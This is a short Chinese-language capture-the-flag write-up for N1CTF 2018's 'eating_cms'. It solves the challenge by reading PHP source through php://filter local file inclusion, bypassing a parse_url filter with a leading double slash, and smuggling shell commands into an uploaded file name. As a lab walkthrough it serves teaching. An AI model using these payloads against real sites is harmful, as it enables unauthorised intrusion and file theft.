[N1CTF 2018]eating_cms
知识点
文件上传
解题
这个题感觉还好,知识点真心不难,就是全混在一起。
思路差不多挺离谱
首先看到,有一个登录界面,然后猜测有注册界面
admin注册不了,随便注册一个账号。
注册之后,进行登录。
登录完成,自动进入user.php?page=guest
将page传入伪协议,尝试读取内容
/user.php?page=php://filter/read=convert.base64-encode/resource=user
然后看到包含了function.php
一路包含下去就行
最后看到
/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
发现被拦截
看到 parse_url函数过滤
所以可以使用两个//进行过滤
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
然后看到m4aaannngggeee
最后看到
templates/upload.html
进行访问后看到一个上传界面。
看源代码。。。
发现他是假的。。。。。
真正的在filename。
/user.php?page=m4aaannngggeee
发现真正的上传点
文件名可以直接执行命令
发现过滤了 /
所以利用…进行绕过
;ls ..
;cd ..;cat flag_23333
得到flag